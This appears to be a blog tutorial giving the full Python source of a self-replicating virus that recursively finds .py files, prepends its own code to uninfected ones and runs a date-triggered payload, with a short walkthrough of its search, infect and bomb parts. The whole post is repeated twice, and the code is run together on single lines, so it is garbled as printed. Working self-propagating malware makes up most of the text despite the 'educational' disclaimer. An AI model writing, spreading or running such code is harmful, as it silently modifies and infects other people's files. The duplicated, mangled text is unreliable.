How to Make a Simple Computer Virus with Python
A great way to test your skills in a computer language is to try making a computer virus with that language.Python seems to be the hot language right now… so let’s make a Python virus.
Let’s start with the source code:
#!/usr/bin/pythonimport os import datetime SIGNATURE = "CRANKLIN PYTHON VIRUS" def search(path):filestoinfect = []filelist = os.listdir(path)for fname in filelist:if os.path.isdir(path+"/"+fname):filestoinfect.extend(search(path+"/"+fname))elif fname[-3:]== ".py":infected = False for line in open(path+"/"+fname):if SIGNATURE in line:infected = True break if infected == False:filestoinfect.append(path+"/"+fname)return filestoinfect def infect(filestoinfect):virus = open(os.path.abspath(__file__))virusstring = "" for i,linein enumerate(virus):if i>=0 and i <39:virusstring += line virus.closefor fname in filestoinfect:f = open(fname)temp = f.read()f.close()f = open(fname,"w")f.write(virusstring+ temp)f.close()def bomb():if datetime.datetime.now().month== 1 and datetime.datetime.now().day== 25:print "HAPPY BIRTHDAY CRANKLIN!"filestoinfect = search(os.path.abspath(""))infect(filestoinfect)bomb()
This is just an educational python virus that infects .pyfiles.You’ll notice there are 3 parts to the virus.Search,infect,bomb.It works exactly like the PHP virus.
Searchrecurses through the current folder and finds .pyfiles.If the file is already infected,it skips it.Otherwise,it adds it to the list of files to be infected.
Infectgrabs the virus portion of the code from itself and prepends it to each of the victim files.This way,everytime each of the infected python files run,it runs the virus first.
Bombis the portion of the code that gets triggered by a date.In this case,it is triggered by my birthdate and prints a harmless “HAPPY BIRTHDAY CRANKLIN!”message to the screen.
Eventhough it’s a harmless virus,it IS still a virus and should be used with caution.Try not to run it from the document root of your django website.🙂
⚠️ This Is just For Educational Purpose.
A great way to test your skills in a computer language is to try making a computer virus with that language.Python seems to be the hot language right now… so let’s make a Python virus.
Let’s start with the source code:
#!/usr/bin/pythonimport os import datetime SIGNATURE = "CRANKLIN PYTHON VIRUS" def search(path):filestoinfect = []filelist = os.listdir(path)for fname in filelist:if os.path.isdir(path+"/"+fname):filestoinfect.extend(search(path+"/"+fname))elif fname[-3:]== ".py":infected = False for line in open(path+"/"+fname):if SIGNATURE in line:infected = True break if infected == False:filestoinfect.append(path+"/"+fname)return filestoinfect def infect(filestoinfect):virus = open(os.path.abspath(__file__))virusstring = "" for i,linein enumerate(virus):if i>=0 and i <39:virusstring += line virus.closefor fname in filestoinfect:f = open(fname)temp = f.read()f.close()f = open(fname,"w")f.write(virusstring+ temp)f.close()def bomb():if datetime.datetime.now().month== 1 and datetime.datetime.now().day== 25:print "HAPPY BIRTHDAY CRANKLIN!"filestoinfect = search(os.path.abspath(""))infect(filestoinfect)bomb()
This is just an educational python virus that infects .pyfiles.You’ll notice there are 3 parts to the virus.Search,infect,bomb.It works exactly like the PHP virus.
Searchrecurses through the current folder and finds .pyfiles.If the file is already infected,it skips it.Otherwise,it adds it to the list of files to be infected.
Infectgrabs the virus portion of the code from itself and prepends it to each of the victim files.This way,everytime each of the infected python files run,it runs the virus first.
Bombis the portion of the code that gets triggered by a date.In this case,it is triggered by my birthdate and prints a harmless “HAPPY BIRTHDAY CRANKLIN!”message to the screen.
Eventhough it’s a harmless virus,it IS still a virus and should be used with caution.Try not to run it from the document root of your django website.🙂
⚠️ This Is just For Educational Purpose.
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